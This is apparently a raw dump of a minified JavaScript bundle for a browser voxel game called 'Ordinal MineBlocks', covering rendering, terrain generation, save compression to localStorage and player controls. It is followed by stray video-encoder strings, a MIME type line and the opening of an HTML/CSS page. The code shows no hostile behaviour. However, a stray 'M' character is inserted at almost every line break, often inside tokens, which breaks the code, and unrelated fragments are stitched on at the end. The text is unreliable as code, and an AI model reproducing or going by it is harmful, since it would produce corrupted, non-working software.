 strict";function n(){return Math.abs(c)/255}function o(){var t=f[0],e=f[1],r=f[2],o=s[0],i=s[1],a=s[2],u=n(),c=[t*(1-u),e*(1-u),r*(1-u)],l=[o*u,i*u,a*u];return[c[0]+l[0],c[1]+l[1],c[2]+l[2]]}Object.defineProperty(e,"__esModule",{value:!0}),e.time=void 0;var i=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){iM
f(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),a=r(1),u=function(t){return t&&t.__esModule?t:{default:t}}(a),c=e.time=0,f=[154,218,255],s=[200,25,75];(0,u.default)(function(){e.time=c+=.5,255<c&&(e.time=c=-255)}),t.exports={color:function(){var t=o(),e=i(t,3),r=e[0],a=e[1],u=e[2],c=1-n();return[r*c,a*c,u*c]},timeModifier:n,setTime:function(t){e.time=c=parseFloat(t)},getTime:function(){return c}}},function(t,e,M
r){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var n=r(0),o=function(t){return t&&t.__esModule?t:{default:t}}(n);e.default={safeGet:function(t){return o.default.tryCatch(function(){return localStorage.getItem(t)})||""},safeSet:function(t,e){return o.default.tryCatch(function(){return localStorage.setItem(t,e)})||""},exits:function(){try{return localStorage.getItem(null),!0}catch(t){return!1}}}},function(t){"use strict";t.exports={RES:{WIDTH:320,HEIGHT:240},MAP_SIZE:256,MAX_FPS:60,SEA_LEVEL:30,MAP_M
SCALE:31,JMP:{STR:.4,AMP:.001},BLOCKS_MAP:[[2,4,12,7,9,11,13,14,15,16],[1,20,3,6,10,8,5,17,18,19]],CRAFTABLES:{2:[1,1],4:[20,6],7:[6,.25],9:[10,8],11:[8,.5],12:[3,4],13:[5,2],14:[17,9],15:[18,9],16:[19,9]},LOCAL_STORAGE:["_mcm","_mcs","_mct","_mci"]}},function(t,e,r){"use strict";function n(t){for(var e=0;e<t.length;e++){var r=e%256,n=0|e/256%64,o=0|e/256/64;if("-"!==t[e]){var i=l.indexOf(t[e]);-1!==i&&(window.game.map[o][n][r]=i)}}}function o(t,e){for(var r="",n=0;n<e;n++)r+=t;return r}function i(t){for(var e,r=""M
,n="",i=0;i<t.length;i++)e=/\d/.test(t[i]),e?n+=t[i]:n?(r+=o(t[i],parseInt(n,10)),n=""):r+=t[i];return r}var a=r(0),u=r(2),c=r(3),f=function(t){return t&&t.__esModule?t:{default:t}}(c),s=r(6),l=Array(58).fill(1).map(function(t,e){return String.fromCharCode(65+e)});t.exports={main:function(){var t=window,e=t.game,r=f.default.safeGet("_mct"),o=(0,a.tryCatch)(function(){return JSON.parse(f.default.safeGet("_mci"))});o&&(e.hotbar.items=o.map(function(t){return null===t?1/0:t})),r&&(0,u.setTime)(r);var c=f.default.safeGM
et("_mcm");c&&n(i(s.decompress(c)))},unMinify:i}},function(t){"use strict";var e=String.fromCharCode,r=32768,n=Object.prototype.hasOwnProperty,o=Math.pow,i=function(t){return t.charCodeAt(0)};t.exports={compress:function(t){if(null==t)return"";var r,a,u,c=function(t){return e(t)},f={},s={},l="",d="",v="",m=2,h=3,p=2,w=[],y=0,g=0;for(u=0;u<t.length;u+=1)if(l=t.charAt(u),n.call(f,l)||(f[l]=h++,s[l]=!0),d=v+l,n.call(f,d))v=d;else{if(n.call(s,v)){if(256>i(v)){for(r=0;r<p;r++)y<<=1,15==g?(g=0,w.push(c(y)),y=0):g++;for(aM
=i(v),r=0;8>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1}else{for(a=1,r=0;r<p;r++)y=y<<1|a,15==g?(g=0,w.push(c(y)),y=0):g++,a=0;for(a=i(v),r=0;16>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1}m--,0==m&&(m=o(2,p),p++),delete s[v]}else for(a=f[v],r=0;r<p;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1;m--,0==m&&(m=o(2,p),p++),f[d]=h++,v=l+""}if(""!==v){if(n.call(s,v)){if(256>i(v)){for(r=0;r<p;r++)y<<=1,15==g?(g=0,w.push(c(y)),y=0):g++;for(a=i(v),r=0;8>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)M
),y=0):g++,a>>=1}else{for(a=1,r=0;r<p;r++)y=y<<1|a,15==g?(g=0,w.push(c(y)),y=0):g++,a=0;for(a=i(v),r=0;16>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1}m--,0==m&&(m=o(2,p),p++),delete s[v]}else for(a=f[v],r=0;r<p;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1;0==--m&&(m=o(2,p),p++)}for(a=2,r=0;r<p;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1;for(;;){if(y<<=1,15==g){w.push(c(y));break}g++}return w.join("")},decompress:function(t){var n,i,a,u,c,f,s,l=function(e){return t.charCodeAt(e)},d=[],M
v=4,m=4,h=3,p="",w=[],y={val:l(0),position:r,index:1};for(n=0;3>n;n+=1)d[n]=n;for(a=0,c=o(2,2),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;switch(a){case 0:for(a=0,c=o(2,8),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;s=e(a);break;case 1:for(a=0,c=o(2,16),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;s=e(a);breaM
k;case 2:return""}for(d[3]=s,i=s,w.push(s);;){if(y.index>t.length)return"";for(a=0,c=o(2,h),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;switch(s=a){case 0:for(a=0,c=o(2,8),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;d[m++]=e(a),s=m-1,v--;break;case 1:for(a=0,c=o(2,16),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<M
=1;d[m++]=e(a),s=m-1,v--;break;case 2:return w.join("")}if(0==v&&(v=o(2,h),h++),d[s])p=d[s];else{if(s!==m)return null;p=i+i.charAt(0)}w.push(p),d[m++]=i+p.charAt(0),v--,i=p,0==v&&(v=o(2,h),h++)}}}},function(t,e,r){"use strict";var n=r(8),o=r(14),i=r(17);t.exports={mapDataType:n,map:o,textures:i}},function(t){"use strict";t.exports=function(){var t=window.game.CONST.MAP_SIZE;return Array(t).fill(0).map(function(){return Array(64).fill(0).map(function(){return Array(t).fill(0)})})}},function(t,e,r){"use strict";var nM
=Math.PI,o=Math.cos,i=Math.sin,a=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),u=r(4),c=r(10),f=r(0),s=f.getBlock,l={forward:0,backward:0,strafeLeft:0,stM
rafeRight:0,jump:0,jumping:0,shift:0};t.exports={applyGravity:function(){var t=window.game.CONST.JMP,e=t.AMP,r=t.STR,n=window.game.player,o=n.x,i=n.y,a=n.z;i+=2;var u=s(o,i,a);if(l.jump&&0<u&&(n.velocity=-r,l.jumping=1),l.jumping){n.velocity+=n.velocity+r+e,0<n.velocity&&(n.velocity=0,l.jumping=0);var c=s(o,n.y+n.velocity,a);return void(0==c?n.y+=n.velocity:9==c&&(n.y+=n.velocity/8))}if(0==u||9==u){3>n.velocity&&(n.velocity+=.2);var f=n.y+.1*n.velocity/(0==u?1:4),d=s(o,Math.ceil(f)+1,a);return void(n.y=0==d||9==d?fM
:0|f)}n.velocity=0},calculateMovement:function(){var t=window.game.player,e=s(t.x,t.y+1,t.z);if(l.forward||l.backward||l.strafeLeft||l.strafeRight){var r=9==e?16:8,a=t.x,u=t.y+1.8,c=t.z,f=i(t.yaw)/r,d=o(t.yaw)/r;l.forward?(a+=f,c+=d):l.backward&&(a-=f,c-=d);var v=t.yaw-n/2,m=i(v)/r,h=o(v)/r;l.strafeLeft?(a+=m,c+=h):l.strafeRight&&(a-=m,c-=h);var p=s(a,u,c);if(0==p||9==p)t.x=a,t.z=c;else{var w=s(a,u,t.z),y=s(t.x,u,c);0==w||9==w?t.x=a:(0==y||9==y)&&(t.z=c)}}},init:function(){var t=window.game,e=t.player,r=t.map,f=docM
ument.addEventListener,d=document.getElementById("game"),v=function(t){var r=t.movementX||t.mozMovementX||t.webkitMovementX||0,o=t.movementY||t.mozMovementY||t.webkitMovementY||0;e.yaw=(e.yaw+r/500)%7.855,e.pitch-=o/1e3;var i=n/2,a=-i;e.pitch<a&&(e.pitch=a),e.pitch>i&&(e.pitch=i)};d.addEventListener("click",function(){d.requestPointerLock=d.requestPointerLock||d.mozRequestPointerLock||d.webkitRequestPointerLock,d.requestPointerLock()}),f("keydown",function(t){t.preventDefault();var e=window,r=e.game,n=t.keyCode;16=M
=n?l.shift=1:65==n?l.strafeLeft=1:68==n?l.strafeRight=1:87==n?l.forward=1:83==n?l.backward=1:32==n?l.jump=1:48==n?r.hotbar.selected=9:49<=n&&57>=n?r.hotbar.selected=n-49:69==n&&(r.hotbar.side=r.hotbar.side?0:1)}),f("keyup",function(t){var e=t.keyCode;16==e?l.shift=0:65==e?l.strafeLeft=0:68==e?l.strafeRight=0:87==e?l.forward=0:83==e?l.backward=0:32==e&&(l.jump=0)}),f("click",function(t){for(var e,n=window.game,f=n.player,d=n.hotbar,v=d.items,m=f.x,h=f.y,p=f.z,w=[],y=0;6e3>y;y++){e=o(f.pitch),m+=i(f.yaw)*e/1e3,h-=i(fM
.pitch)/1e3,p+=o(f.yaw)*e/1e3;var g=s(m,h,p),M=0<g;if((9==g||10==g)&&(M=l.shift),M){if(0===t.button)r[0|m][0|h][0|p]=0,(0,c.inventoryAdd)(g);else if(2===t.button){var b=w,_=a(b,3),x=_[0],A=_[1],S=_[2],k=u.BLOCKS_MAP[d.side][d.selected],E=v[k];if(!E)return;r[0|x][0|A][0|S]=k||1,(0,c.inventoryRemove)(k)}return}w=[m,h,p]}}),["pointer","mozpointer","webkitpointer"].forEach(function(t){return document.addEventListener(t+"lockchange",function(){var t=document,e=t.pointerLockElement,r=t.mozPointerLockElement,n=t.webkitPoiM
nterLockElement;document[e==d||r==d||n==d?"addEventListener":"removeEventListener"]("mousemove",v)})})}}},function(t,e,r){"use strict";function n(t,e,r){for(var n=window.game,o=n.pixels,i=n.texmap,a=n.width,u=n.hotbar,c=0;16>c;c++)for(var f=0;16>f;f++){var s=i[f+16*(c+16)+256*t*3],l=u.items[t],d=1.328125,v=(255&s>>16)*d,m=(255&s>>8)*d,h=(255&s)*d,p=4*(e+f+(r+c)*a);if(!l){var w=(v+m+h)/6;v=w+v/3,m=w+m/3,h=w+h/3}o.data[p+0]=v,o.data[p+1]=m,o.data[p+2]=h}}function o(t,e,r){var n=window.game.ctx;if(void 0!=t&&t!==1/0){M
var o=999<t?(0|t/1e3)+"k":t;n.font="100 8px OCR A Std,Impact,monospace",n.strokeStyle="black",n.textAlign="right",n.lineWidth=2,n.fillStyle="#fff",n.strokeText(o,e,r),n.fillText(o,e,r)}}var i=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(M
e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),a=r(4),u=a.BLOCKS_MAP,c=a.CRAFTABLES,f=function(){return(window.game.width-180)/2},s=function(){return window.game.height-16-8},l=function(t){var e=0;return Object.entries(c).some(function(r){var n=i(r,2),o=n[0],a=n[1];return i(a||[],1)[0]===t&&(e=o,!0)}),e};t.exports={drawIcons:function(){var t=window.game.hotbar;u[t.side].forEach(function(t,e){n(t,f()+18*e,s())})},drawHotbarBorder:function(){var t=window.game,e=t.ctx,r=t.hotbar,nM
=f()+18*r.selected;e.lineWidth=1,e.strokeStyle="#fff",e.strokeRect(n+1,s()+1,14,14),e.strokeStyle="#000",e.strokeRect(n,s(),16,16)},drawIconNumers:function(){for(var t=window.game.hotbar,e=t.side,r=0;10>r;r++){var n=f()+18*r,i=u[e][r];o(t.items[i],n+16,s()+16)}},inventoryAdd:function(t){var e=window.game.hotbar,r=e.items;r[t]++;var n=c[t];if(n){var o=i(n,2),a=o[0],u=o[1];return void(r[a]=0|r[t]/u)}var f=l(t);if(f){var s=i(c[f],2),d=s[1];r[f]+=d}},inventoryRemove:function(t){var e=window.game.hotbar,r=e.items;r[t]--M
;var n=c[t];if(n){var o=i(n,2),a=o[0],u=o[1];return void(r[a]=0|r[t]/u)}var f=l(t);if(f){var s=i(c[f],2),d=s[1];r[f]-=d}}}},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}var o=Math.cos,i=Math.sin,a=r(2),u=n(a),c=r(1),f=n(c),s=r(21),l=n(s),d=r(0),v=0,m=0;(0,f.default)(function(){m=(m+1)%3}),t.exports={render:function(){var t=window.game,e=t.texmap,r=t.width,n=t.height,a=t.player,c=t.CONST,f=(t.fps,t.scanlinesEnabled),s=t.renderDistance,h=o(a.pitch),p=i(a.pitch),w=o(a.yaw),y=i(a.yaw)M
,g=a.x-(0|a.x),M=a.y-(0|a.y),b=a.z-(0|a.z);v=v?0:1;for(var _=0;_<r;_++)for(var x=(0,d.calcArcFromLength)(_,r),A=(_-r/2)/n,S=f?_%2+v-1:0;S<n;S+=f?2:1){for(var k,E=(0,d.calcArcFromLength)(S,n),L=s+(s*x+s*E)/2,T=(S-n/2)/n,C=h+T*p,O=T*h-p,I=A*w+C*y,P=C*w-A*y,j=0,R=255,z=0;3>z;z++){k=I,1==z&&(k=O),2==z&&(k=P);var B=1/Math.abs(k),N=I*B,D=O*B,F=P*B,G=g;1==z&&(G=M),2==z&&(G=b),0<k&&(G=1-G);var q=a.x+N*G,H=a.y+D*G,W=a.z+F*G;0>k&&(z||q--,1==z&&H--,2==z&&W--);for(var X,Z=B*G,J=c.MAP_SIZE-1;Z<L;){if(X=(0,d.getBlock)(q&J,63&H,WM
&J),(W>J||63<H||q>J||0>W||0>H||0>q)&&(X=0),0<X){var K=15&16*(q+W),Y=16+(15&16*H);1==z&&(K=15&16*q,Y=15&16*W,0>D&&(Y+=32));var V=e[K+16*Y+256*X*3];if(0<V){if(j=V,1==z&&(9==X||10==X)){var U=K+Y*(m+1)*16+256*X*3;9==X&&7680>U?j=e[U]:10==X&&8680>U&&(j=e[U])}var Q=u.default.timeModifier(),$=1-Z/s*Q;R=(255-(z+2)%3*50)*$,L=Z}}q+=N,H+=D,W+=F,Z+=B}}(0,l.default)(_,S,R,j)}}}},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}var o=r(13),i=n(o),a=r(5),u=n(a),c=r(2),f=r(1),s=n(f),l=r(0),d=r(3),v=n(M
d),m=r(9),h=r(7),p=r(18),w=r(4),y=w.RES,g=y.WIDTH,M=y.HEIGHT,b=0|w.MAP_SIZE/2;document.title="Ordinal MineBlocks",window.game={CONST:w},window.game={CONST:w,width:g,height:M,getTime:c.getTime,setTime:c.setTime,player:{x:b,y:0,z:b,velocity:0,pitch:-.1,yaw:0},hotbar:{selected:0,side:0,items:Array(21).fill(0)},map:h.map(),texmap:h.textures(),ctx:document.getElementById("game").getContext("2d"),fps:0,scanlinesEnabled:!0,renderDistance:32},document.addEventListener("DOMContentLoaded",function(){var t=window,e=t.game,r=eM
.width,n=e.height,o=e.ctx,a=document.getElementById("toolbar"),c=(0,l.getCanvas)();c.width=r,c.height=n;var f=function(){var t=1.3334*window.innerHeight,e=window.innerHeight;.75*window.innerWidth<window.innerHeight&&(t=window.innerWidth,e=.75*window.innerWidth),c.setAttribute("style","width: "+t+"px; height: "+e+"px")};e.pixels=o.createImageData(r,n),e.pixels.data.fill(255),window.addEventListener("resize",f),f(),m.init(),p.clock.init(),setTimeout(u.default.main,500),(0,s.default)(function(){window.game}),a.addEvenM
tListener("click",function(t){var r=t.target.id;"lock"===r?a.classList.toggle("extended"):"save"===r?(0,i.default)():"load"===r?window.location.reload():"plus"===r?e.renderDistance+=5:"minus"===r?e.renderDistance-=5:"interlace"===r?setTimeout(function(){return e.scanlinesEnabled=!e.scanlinesEnabled},1):"newseeed"===r&&confirm("Generate a new seed? This will erase your current save.")&&(w.LOCAL_STORAGE.forEach(function(t){return localStorage.removeItem(t)}),v.default.safeSet("_mcs",0|Math.random()*Number.MAX_SAFE_INM
TEGER),window.location.reload()),5>e.renderDistance?e.renderDistance=5:255<e.renderDistance&&(e.renderDistance=255)})})},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}function o(){for(var t="",e=m(h()),r=m(window.game.map),n=0;n<r.length;n++){var o=e[n],i=r[n];t+=o===i?"-":i}return t}function i(t){for(var e="",r=t[0],n=1,o=1;o<t.length;o++)t[o]===r?n++:(e+=1==n?r:n+r,r=t[o],n=1);return e+=n+r}Object.defineProperty(e,"__esModule",{value:!0}),e.stringify=void 0;var a=r(5),u=r(2),c=r(M
7),f=n(c),s=r(3),l=n(s),d=r(6),v=Array(58).fill(1).map(function(t,e){return String.fromCharCode(65+e)}),m=e.stringify=function(t){return t.map(function(t){return t.map(function(t){return t.map(function(t){return v[t]||v[0]}).join("")}).join("")}).join("")},h=function(){return window.game._map=window.game._map||f.default.map()};e.default=function(){var t=window,e=t.game;l.default.safeSet("_mct",(0,u.getTime)()),l.default.safeSet("_mci",JSON.stringify(e.hotbar.items));var r=o();console.log("saving mapStr length",r.leM
ngth);var n=i(r),c=d.compress(n);console.log("minified",n.length,n),console.log("compressed",c.length,c),l.default.safeSet("_mcm",c);var f=d.decompress(c);(0,a.unMinify)(f)===r?console.log("success"):console.log("Could not save map internally")}},function(t,e,r){"use strict";function n(t,e,r,n){for(var o=e*r%6+6,i=0;i<o;i++)t[e][r-i][n]=7;for(var a=o;0<a;a-=3)for(var u=-1;2>u;u++)for(var f=-1;2>f;f++)c(f+e,r-a,u+n,8,t,7)}var o=Math.floor,i=r(3),a=function(t){return t&&t.__esModule?t:{default:t}}(i),u=r(0),c=u.setBlM
ock,f=r(8),s=r(15),l=a.default.exits(),d=a.default.safeGet("_mcs");l?!d&&(a.default.safeSet("_mcs",0|Math.random()*Number.MAX_SAFE_INTEGER),window.location.reload()):(d=0,document.querySelector(".nosaving").classList.toggle("show"),console.log('no localstorage. Using seed "0". No saving permitted'));var v=s(d),m={1:1,2:1,4:1};t.exports=function(){for(var t=window.game.CONST,e=t.SEA_LEVEL,r=t.MAP_SCALE,i=t.MAP_SIZE,a=f(),u=function(){return Array(i)},c=document.getElementById("loading"),s=u(),l=u(),d=0;d<i;d++){s[d]M
=u(),l[d]=u();for(var h,p=0;p<i;p++){h=v(d/r,p/r,0),h*=10,h+=32,h=o(h),s[d][p]=h;var w=v(d/2,p/2,0);w*=3,w=o(w),l[d][p]=w,window.treeMap=l}}console.log("ran");for(var y=0;y<i;y++)for(var g,M=0;M<i;M++){g=s[y][M],a[y][g][M]=g<=e?1:12;for(var b=g-1;b>e;b--)a[y][b][M]=9;for(var _=g+1;64>_;_++)a[y][_][M]=4;-2>=l[y][M]&&g<e&&n(a,y,g-1,M),34==g&&(a[y][g][M]=13);for(var x=e-5;64>x;x++){if(48<x){var A=v(y/r*4,x/r*2,M/r*4);if(.55<A&&.6>A){var S=a[y][x][M];m[S]&&(a[y][x][M]=10)}}var k=v(y/r*2,x/r*4,M/r*2);if(.35<k&&.8>k){varM
 E=a[y][x][M];m[E]&&(a[y][x][M]=0)}var L=v(y/r*8,x/r*8,M/r*8);if(.2<L&&.8>L){var T=a[y][x][M];m[T]&&(50>x&&.2<L&&.21>L?a[y][x][M]=14:42<x&&50>x&&.55<L&&.6>L?a[y][x][M]=15:48<x&&.7<L&&(a[y][x][M]=16))}if(61<x)if(63==x)a[y][x][M]=11;else{var C=v(y/r*64,x/r*64,M/r*64);.1<C&&(a[y][x][M]=11)}}}return c.hidden=!0,a}},function(t,e,r){"use strict";function n(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}function o(t){if(Array.isArray(t)){for(var e=0,r=Array(t.length);e<t.length;e++)r[e]M
=t[e];return r}return Array.from(t)}var i=function(){function t(t,e){for(var r,n=0;n<e.length;n++)r=e[n],r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(t,r.key,r)}return function(e,r,n){return r&&t(e.prototype,r),n&&t(e,n),e}}(),a=r(16),u=function(t){return t&&t.__esModule?t:{default:t}}(a);t.exports=function(){for(var t,e=0<arguments.length&&void 0!==arguments[0]?arguments[0]:1,r=1<arguments.length&&void 0!==arguments[1]?arguments[1]:Array(512),a=-1,c=Math.floor,M
f=[].concat(o(r)),s=function(t){return t*t*t*(t*(6*t-15)+10)},l=function(t,e,r){return(1-r)*t+r*e},d=[[1,1],[a,1],[1,a],[a,a],[1,,1],[a,,1],[1,,a],[a,,a],[,1,1],[,a,1],[,1,a],[,a,a]].map(function(t){return new(Function.prototype.bind.apply(function(){function t(){var e=0<arguments.length&&void 0!==arguments[0]?arguments[0]:0,r=1<arguments.length&&void 0!==arguments[1]?arguments[1]:0,o=2<arguments.length&&void 0!==arguments[2]?arguments[2]:0;n(this,t),this.x=e,this.y=r,this.z=o}return i(t,[{key:"d",value:function(t,M
e,r){return this.x*t+this.y*e+this.z*r}}]),t}(),[null].concat(o(t))))}),v=0;256>v;v++)t=(0,u.default)(e+v,256)^(1&v?255&e:255&e>>8),r[v]=r[v+256]=t,f[v]=f[v+256]=d[t%12];return function(t,e,n){var o=c(t),i=c(e),a=c(n);t-=o,e-=i,n-=a,o&=255,i&=255,a&=255;var u=s(t),d=s(e),v=s(n),m=i+r[a],h=i+r[a+1],p=o+r[m],w=o+r[h],y=o+r[m+1],g=o+r[h+1];return l(l(l(f[p].d(t,e,n),f[p+1].d(t-1,e,n),u),l(f[w].d(t,e,n-1),f[w+1].d(t-1,e,n-1),u),v),l(l(f[y].d(t,e-1,n),f[y+1].d(t-1,e-1,n),u),l(f[g].d(t,e-1,n-1),f[g+1].d(t-1,e-1,n-1),u),vM
),d)}}},function(t,e){"use strict";Object.defineProperty(e,"__esModule",{value:!0}),e.default=function(t,e){return(""+(2147483647&Math.imul(48271,t))/2147483648).split("").slice(-10).join("")%e}},function(t){"use strict";t.exports=function(){for(var t=Array(12288),e=1;21>e;e++)for(var r=255-(0|96*Math.random()),n=0;48>n;n++)!function(n){for(var o=0;16>o;o++)!function(o){var i=9858122,a=r;if(32<=n&&(a/=2),(4!=e&&6!=e||0==(0|3*Math.random()))&&(r=255-(0|96*Math.random())),1==e&&(n<18+(3&o*o*3+81*o>>2)?i=6990400:1==e&M
&n<19+(3&o*o*3+81*o>>2)&&(r=2*r/3)),3==e&&(i=14606046,0<o&&15>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(a=0)),4==e&&(i=8355711),5==e&&(i=11876885,(0==(o+4*(n>>2))%8||0==n%4)&&(i=12365733)),6==e&&(i=10519115,0==(0|16*Math.random())&&(r=255-(0|96*Math.random())),0==n%4&&(a=132)),7==e)if(i=6771249,0<o&&15>o&&(0<n&&15>n||32<n&&47>n)){i=12359778;var u=o-7,c=(15&n)-7;0>u&&(u=1-u),0>c&&(c=1-c),c>u&&(u=c),r=196-(0|32*Math.random())+u%3*32}else 0==(0|2*Math.random())&&(r=r*(140-100*(1&o))/100);8==e&&(i=5298487,0==(0|2*Math.rM
andom())&&(i=0,a=255)),9==e&&(i=4219135,a=192+(0|32*Math.random())),10==e&&(i=15810114,a=192+(0|32*Math.random()),0==(0|2*Math.random())&&(i=15834690)),11==e&&(i=4392035,0==(0|2*Math.random())&&(i=2294851)),12==e&&(i=15196080,1>16*Math.random()&&(a=164+4*o)),13==e&&(i=15200224,1>16*Math.random()&&(i=16232346));var f=function(t){2<o&&13>o&&(2<n&&13>n||18<n&&29>n)&&1>4*Math.random()&&(i=t)};14==e&&(i=8355711,f(15810114)),15==e&&(i=8355711,f(15778600)),16==e&&(i=8355711,f(4517357)),17==e&&(i=13704738,1>16*Math.random(M
)&&(a=164+4*o),0<=o&&14>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(32>n&&(i=15810114),r=255)),18==e&&(i=13673224,1>16*Math.random()&&(a=164+4*o),0<=o&&14>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(32>n&&(i=15778600),r=255)),19==e&&(i=3386283,1>16*Math.random()&&(a=164+4*o),0<=o&&14>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(32>n&&(i=4517357),r=255)),20==e&&(i=8355711,1<=(0|4*Math.random())&&(Math.random(),i=5277975));var s=(255&i>>16)*a/255<<16|(255&i>>8)*a/255<<8|(255&i)*a/255;t[o+16*n+256*e*3]=s}(o)}(n);return t}},funcM
tion(t,e,r){"use strict";var n=r(19),o=r(11);t.exports={clock:n,render:o}},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}function o(){var t=window.game,e=t.ctx,r=t.pixels;window._tick+=1,d.applyGravity(),d.calculateMovement(),m(),f.default.drawIcons(),e.putImageData(r,0,0),f.default.drawHotbarBorder(),f.default.drawIconNumers(),(0,l.default)()}function i(t){var e=window.game.CONST.MAX_FPS;return t-h<1e3/e?window.requestAnimationFrame(i):(o(),h=t,void window.requestAnimationFrame(i)M
)}var a=r(1),u=n(a),c=r(10),f=n(c),s=r(20),l=n(s),d=r(9),v=r(11),m=v.render,h=0;t.exports={init:function(){window._tick=0;var t=document.querySelector(".fps");(0,u.default)(function(){var e=window._tick;window.game.fps=e,t&&(t.innerText=e.toString()+" fps"),window._tick=0}),window.requestAnimationFrame?window.requestAnimationFrame(i):setInterval(o,10)}}},function(t,e,r){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var n,o,i,a=r(1),u=function(t){return t&&t.__esModule?t:{default:t}}(a);e.default=funM
ction(){var t=window.game,e=t.ctx,r=t.width,a=t.height;e.lineWidth=1,e.strokeStyle="#fff",e.strokeStyle="rgb("+n+","+o+","+i+")",e.strokeRect(r/2-1,a/2-1,2,2)},(0,u.default)(function(){var t=window.game,e=t.pixels,r=t.width,a=t.height,u=4*(r/2+(a/2-5)*r);n=255&e.data[u+0]+128,o=255&e.data[u+1]+128,i=255&e.data[u+2]+128})},function(t,e,r){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var n=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.M
push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),o=r(2),i=function(t){return t&&t.__esModule?t:{default:t}}(o),a=r(0);e.default=function(t,e,r,o){var u=window.game,c=u.pixels,f=u.width,s=i.default.color,l=(0,a.isInsideCheck)(),d=i.default.timeModifier(),v=s(),m=n(v,3)L
,h=m[0],p=m[1],w=m[2],y=255*r/48960;l||(y*=1-d/2);var g=(255&o>>16)*y,M=(255&o>>8)*y,b=(255&o)*y,_=4*(t+e*f);c.data[_+0]=g||h,c.data[_+1]=M||p,c.data[_+2]=b||w}}]);
</script></body></html>
59.37.100 libvpx-vp9g
59.37.100 libvpx-vp9g
text/html;charset=utf-8
<!DOCTYPE html><html><head><style>
body{background:#DDDDDD}
canvas{image-rendering:pixelated;box-sizing:border-box}
body{text-align:center}
button{border-radius:4px}
.fixed{position:fixed;top:4px}
.fps{right:4px;font-family:Impact,Charcoal,sans-serif;color:white;-webkit-text-stroke:1px black;font-variant:small-caps;font-size:20px}
.hidables,.nosaving{display:none}
#lock,#save{background:none;background:#ffffff4d}
  line-height: 100vh;
  font-family: sans-serif
.extended #lock:after{background:#ffffff;content:" Options"}
.extended #save:after{background: #ffffff;content:" Save"}
.extended .hidables,.show{display:initial}
.text{color:#777;text-align:left;padding-left:20px;margin-bottom:80px}.text div{display:inline-block;width:48%}
.text:hover{color:#000}
/* Reset CSS */html{line-height:1.15;-webkit-text-size-adjust:100%}body{margin:0}main,details{display:block}h1{font-size:2em;margin:.67em 0}hr{box-M
